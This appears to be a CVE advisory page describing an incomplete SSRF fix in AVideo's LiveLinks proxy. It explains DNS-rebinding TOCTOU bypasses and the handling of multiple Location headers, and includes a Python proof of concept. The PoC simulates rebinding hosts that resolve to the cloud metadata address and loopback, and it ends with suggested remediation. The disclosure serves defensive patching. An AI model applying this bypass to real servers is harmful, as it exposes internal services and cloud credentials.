CVE-2026-41055

MEDIUM5.3EPSS 0.03%

WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF

發布日:2026/4/14修改日:2026/5/5
也稱為:GHSA-793q-xgj6-7frp

描述

### Summary The incomplete SSRF fix in AVideo's LiveLinks proxy adds `isSSRFSafeURL()` validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints. ### Affected Package - **Ecosystem:** Other - **Package:** AVideo - **Affected versions:** < commit 0e56382921fc71e64829cd1ec35f04e338c70917 - **Patched versions:** >= commit 0e56382921fc71e64829cd1ec35f04e338c70917 ### Details The `plugin/LiveLinks/proxy.php` endpoint proxies live stream URLs. The fix adds `isSSRFSafeURL()` check on the initial URL, redirect URL validation, and `follow_location=0` in the `get_headers()` context. However, multiple DNS TOCTOU vulnerabilities remain. For the initial URL, `isSSRFSafeURL()` resolves DNS once for validation, but `get_headers()` resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second. The same TOCTOU exists for redirect URLs: `isSSRFSafeURL()` validates the redirect target (first resolution returns a safe IP), then `fakeBrowser()` makes the actual request (second resolution returns an internal IP). Additionally, even with `follow_location=0`, `get_headers()` still sends an HTTP request that can probe internal services via DNS rebinding, and multiple `Location` headers in a response cause `filter_var()` to receive an array instead of a string, resulting in a fall-through to the else branch. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding """ import re import sys class DNSResolver: def __init__(self): self._call_count = {} def resolve(self, host): if host not in self._call_count: self._call_count[host] = 0 self._call_count[host] += 1 if host == "rebind.attacker.com": return "93.184.216.34" if self._call_count[host] == 1 else "169.254.169.254" if host == "rebind-loopback.attacker.com": return "93.184.216.34" if self._call_count[host] == 1 else "127.0.0.1" static = {"attacker.com": "93.184.216.34", "example.com": "93.184.216.34", "localhost": "127.0.0.1"} return static.get(host, None) def reset(self): self._call_count = {} dns = DNSResolver() def php_parse_url_host(url): match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE) return match.group(1).lower() if match else None def php_filter_validate_ip(s): if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', s): return all(0 <= int(p) <= 255 for p in s.split('.')) return False def is_ssrf_safe_url(url): if not url: return False, "empty" host = php_parse_url_host(url) if not host: return False, "no host" for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']: if host == pat: return False, f"blocked: {host}" ip = host if not php_filter_validate_ip(host): resolved = dns.resolve(host) if not resolved: return False, "DNS failed" ip = resolved for pattern in [r'^10\.', r'^172\.(1[6-9]|2\d|3[0-1])\.', r'^192\.168\.', r'^127\.', r'^169\.254\.']: if re.match(pattern, ip): return False, f"blocked: {ip}" return True, f"allowed ({ip})" def main(): print("=" * 72) print("CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC") print("=" * 72) vuln_count = 0 print("\n[TEST 1] DNS rebinding on initial URL") dns.reset() safe, reason = is_ssrf_safe_url("http://rebind.attacker.com/meta-data/") actual_ip = dns.resolve("rebind.attacker.com") print(f" isSSRFSafeURL: safe={safe}, reason={reason}") print(f" Actual request goes to: {actual_ip}") if safe and actual_ip == "169.254.169.254": print(" => BYPASS!") vuln_count += 1 print("\n[TEST 2] DNS rebinding on redirect URL") dns.reset() safe_r, _ = is_ssrf_safe_url("http://rebind-loopback.attacker.com/admin/") final_ip = dns.resolve("rebind-loopback.attacker.com") print(f" isSSRFSafeURL: safe={safe_r}") print(f" fakeBrowser() goes to: {final_ip}") if safe_r and final_ip == "127.0.0.1": print(" => BYPASS!") vuln_count += 1 print("\n[TEST 3] get_headers() side-effect") dns.reset() safe, _ = is_ssrf_safe_url("http://rebind.attacker.com:8080/probe") side_ip = dns.resolve("rebind.attacker.com") print(f" isSSRFSafeURL passed: {safe}") print(f" get_headers() reached: {side_ip}") if safe and side_ip == "169.254.169.254": print(" => BYPASS!") vuln_count += 1 print(f"\nBypass vectors: {vuln_count}") if vuln_count > 0: print("\nVULNERABILITY CONFIRMED") return 0 return 1 if __name__ == "__main__": sys.exit(main()) ``` **Steps to reproduce:** 1. Run `python3 poc.py`. 2. Observe that all three DNS rebinding bypass vectors succeed. **Expected output:** ``` VULNERABILITY CONFIRMED DNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths. ``` ### Impact DNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources. ### Suggested Remediation Pin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via `CURLOPT_RESOLVE` or equivalent. Remove the `get_headers()` call. Block redirects entirely or re-validate using pinned DNS after each redirect.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1MEDIUM5.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

參考連結(7)